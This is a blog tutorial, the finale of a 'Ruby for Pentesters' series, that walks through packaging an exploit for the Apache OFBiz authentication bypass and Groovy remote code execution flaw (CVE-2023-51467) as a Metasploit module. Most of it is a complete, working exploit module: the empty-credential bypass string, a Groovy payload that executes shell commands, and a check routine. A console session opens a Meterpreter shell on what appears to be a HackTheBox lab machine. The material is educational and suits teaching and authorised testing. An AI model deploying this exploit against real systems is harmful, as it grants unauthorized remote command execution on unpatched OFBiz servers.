// Ruby for Pentesters · Part 10

Shipping it as a Metasploit module

The finale. A Metasploit module is just a Ruby class in the framework's shape — so we lift the exact OFBiz chain into one, and let the framework hand us HTTP, options, payloads, and a shell for free.

RubyMetasploitModulesCapstone
6 min read

You’ve written the whole chain from scratch: recon, an auth bypass, RCE, a listener, looting, a cracker, a root shell, a packaged tool, and a test suite. Here’s the payoff — a Metasploit module is nothing but a Ruby class in a particular shape. Everything you learned transfers directly. The framework already owns the tedious parts (the HTTP client, option parsing, payload generation, session handling), so the module is mostly the OFBiz logic you already wrote, snapped into its slots.

The shape of a module

Every module is a class named MetasploitModule that inherits from a framework base and mixes in the capabilities it needs:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
  • < Msf::Exploit::Remote is inheritance — the same class X < Y from Part 7, except Y is Metasploit’s remote-exploit base, which brings check, exploit, datastore, and the rest.
  • include ...HttpClient is a mixin: it grafts methods like send_request_cgi straight into our class, so we never rebuild Net::HTTP again.
  • Rank advertises reliability; BYPASS is the same constant, carried over unchanged.

Metadata: initialize

initialize is the constructor you met in Part 7. Here it calls super with a metadata hash — update_info — that tells the framework what the module is and which options it takes:

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Apache OFBiz Authentication Bypass Groovy RCE',
        'Description'     => %q{
          Exploits CVE-2023-51467 in Apache OFBiz. Empty credentials with
          requirePasswordChange=Y bypass authentication, reaching the
          ProgramExport screen, which runs attacker-supplied Groovy and yields
          command execution as the ofbiz service user.
        },
        'Author'         => ['zerodayoutlaw'],
        'License'        => MSF_LICENSE,
        'References'     => [['CVE', '2023-51467']],
        'Platform'       => 'unix',
        'Arch'           => ARCH_CMD,
        'Targets'        => [['Apache OFBiz', {}]],
        'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true },
        'DisclosureDate' => '2023-12-26'
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base OFBiz path', '/'])
    ])
  end

That hash is just data — the same kind of key/value structure from Part 3. Declaring ARCH_CMD and a References entry for the CVE is what lets RHOST, RPORT, SSL, and payload selection appear as options in msfconsole without a line of parsing code from us. Part 7’s OptionParser did this by hand; the framework does it from metadata.

register_options adds your own options on top. OptString.new('TARGETURI', [true, 'Base OFBiz path', '/']) declares a required string option named TARGETURI, described for --help, defaulting to / — the framework equivalent of Part 7’s opts.on('--target', ...). The user sets it with set TARGETURI /, and we read it back as target_uri.path.

The two methods that matter

A remote exploit overrides two methods: check (is the target vulnerable?) and exploit (fire). Both lean on one small helper that POSTs Groovy — the exact move from Part 3, now over the framework’s HTTP client:

  def check
    res = groovy("throw new Exception('id'.execute().text)")
    return CheckCode::Safe unless res&.body&.include?('uid=')

    print_good('OFBiz ran our Groovy — target is vulnerable')
    CheckCode::Vulnerable
  end

  def exploit
    print_status("Sending Groovy payload to #{datastore['RHOSTS']}")
    groovy("throw new Exception(['bash', '-c', '#{payload.encoded}'].execute().text)")
  end

  def groovy(program)
    uri = normalize_uri(target_uri.path, 'webtools', 'control', 'ProgramExport')
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => "#{uri}?#{BYPASS}",
      'vars_post' => { 'groovyProgram' => program }
    )
  end
end

Look at what each piece maps to:

  • groovy is Part 3’s run, but send_request_cgi (from the mixin) replaces the hand-built postvars_post is the form hash, and the framework handles the connection and SSL. normalize_uri joins TARGETURI with the screen path into a clean URL, so no double slashes no matter what the user set.
  • check runs a harmless id and reports CheckCode::Vulnerable or Safe — the same reflected-output read we did with a regex, now standardized.
  • print_good / print_status are the framework’s output API — the green [+] and blue [*] lines you see in msfconsole, instead of raw puts.
  • In exploit, payload.encoded is the star: instead of hardcoding a bash reverse shell like Part 4, the framework generates whatever payload the user picked and hands us the command string. Our Groovy just executes it.

Using it

Metasploit loads modules from ~/.msf4/modules/ mirroring its own tree, so save the file as ~/.msf4/modules/exploits/linux/http/ofbiz_groovy_rce.rb (run reload_all in an open console). From there it’s a first-class citizen:

msf6 > use exploit/linux/http/ofbiz_groovy_rce
msf6 exploit(ofbiz_groovy_rce) > set RHOSTS bizness.htb
msf6 exploit(ofbiz_groovy_rce) > set LHOST tun0
msf6 exploit(ofbiz_groovy_rce) > check
[+] The target is vulnerable.
msf6 exploit(ofbiz_groovy_rce) > run
[*] Sending stage...
[*] Meterpreter session 1 opened
meterpreter >

The listener from Part 4, the payload wiring, the session — all handed to you. You supplied only the OFBiz-specific logic, because that’s the only part Metasploit didn’t already know.

Where you landed

Ten parts ago this was Net::HTTP.get. You now know Ruby’s request client, methods and constants, hashes, POST bodies, regex, sockets, threads, files, Digest/Base64, thread pools and the GVL, running programs with Open3 and a PTY, classes and encapsulation, OptionParser, testing with minitest, and how a Metasploit module is assembled. More to the point, you learned them the way they actually get used — by building a working exploit chain end to end and turning it into a tool other people can run.

Takeaways

  • A Metasploit module is a Ruby class (MetasploitModule < Msf::Exploit::Remote) — inheritance and mixins (include), both plain Ruby.
  • update_info metadata replaces hand-rolled option parsing: declare Arch/Platform/references and the framework supplies RHOST, RPORT, and payload options for free.
  • Override check and exploit; send_request_cgi from the HttpClient mixin replaces your own Net::HTTP plumbing, and print_good/print_status replace puts.
  • register_options + OptString declare your own options (like TARGETURI) — the framework’s version of Part 7’s OptionParser; normalize_uri builds tidy paths from them.
  • payload.encoded lets the framework generate the payload, so your module carries only the target-specific logic — the OFBiz chain you built by hand.

Exercises

  1. Refactor the Groovy string-building into a private helper wrap(cmd) that returns the throw new Exception(...) payload, and call it from both check and exploit — the same encapsulation lesson as Part 7, now in a module.
  2. Have check print the detected id line with print_status before it returns CheckCode::Vulnerable, so you see proof, not just a verdict.
  3. Add a second option with register_options — say an OptInt for a request timeout — and read it back from datastore.

That’s the series. The same Ruby that scripted a one-off request scales all the way to a framework module — you’ve now walked the whole distance.

← All parts